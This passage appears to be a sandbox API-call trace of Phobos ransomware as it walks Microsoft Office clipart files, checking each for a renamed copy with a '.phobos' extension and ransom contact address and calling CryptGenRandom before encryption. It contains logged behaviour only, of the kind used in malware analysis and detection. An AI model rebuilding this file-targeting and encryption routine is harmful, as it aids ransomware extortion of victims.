dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.465] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5732) returned 1 [0153.465] CloseHandle (hObject=0x574) returned 1 [0153.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf")) returned 0x220 [0153.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.465] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.466] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16800) returned 1 [0153.466] CloseHandle (hObject=0x574) returned 1 [0153.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf")) returned 0x220 [0153.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.467] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.470] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3780) returned 1 [0153.470] CloseHandle (hObject=0x574) returned 1 [0153.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf")) returned 0x220 [0153.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.470] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.473] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6248) returned 1 [0153.473] CloseHandle (hObject=0x574) returned 1 [0153.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03668_.wmf")) returned 0x220 [0153.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03668_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03668_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.474] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.475] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1930) returned 1 [0153.475] CloseHandle (hObject=0x574) returned 1 [0153.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf")) returned 0x220 [0153.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.475] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.476] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4128) returned 1 [0153.476] CloseHandle (hObject=0x574) returned 1 [0153.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe04050_.wmf")) returned 0x220 [0153.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE04050_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe04050_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.477] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.478] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5756) returned 1 [0153.478] CloseHandle (hObject=0x574) returned 1 [0153.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf")) returned 0x220 [0153.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.504] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.545] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=135611) returned 1 [0153.545] CloseHandle (hObject=0x564) returned 1 [0153.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg")) returned 0x220 [0153.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.546] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.547] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=41474) returned 1 [0153.547] CloseHandle (hObject=0x564) returned 1 [0153.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg")) returned 0x220 [0153.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.547] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.549] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6334) returned 1 [0153.549] CloseHandle (hObject=0x564) returned 1 [0153.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg")) returned 0x220 [0153.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.549] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.550] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7316) returned 1 [0153.550] CloseHandle (hObject=0x564) returned 1 [0153.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg")) returned 0x220 [0153.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.551] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.552] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32184) returned 1 [0153.552] CloseHandle (hObject=0x564) returned 1 [0153.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp")) returned 0x220 [0153.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.552] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.553] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31968) returned 1 [0153.553] CloseHandle (hObject=0x564) returned 1 [0153.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp")) returned 0x220 [0153.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.553] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.554] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5988) returned 1 [0153.554] CloseHandle (hObject=0x564) returned 1 [0153.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg")) returned 0x220 [0153.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.554] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.555] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31752) returned 1 [0153.555] CloseHandle (hObject=0x564) returned 1 [0153.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp")) returned 0x220 [0153.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.557] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.558] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7765) returned 1 [0153.558] CloseHandle (hObject=0x564) returned 1 [0153.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif")) returned 0x220 [0153.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.559] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.565] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31752) returned 1 [0153.565] CloseHandle (hObject=0x528) returned 1 [0153.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp")) returned 0x220 [0153.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 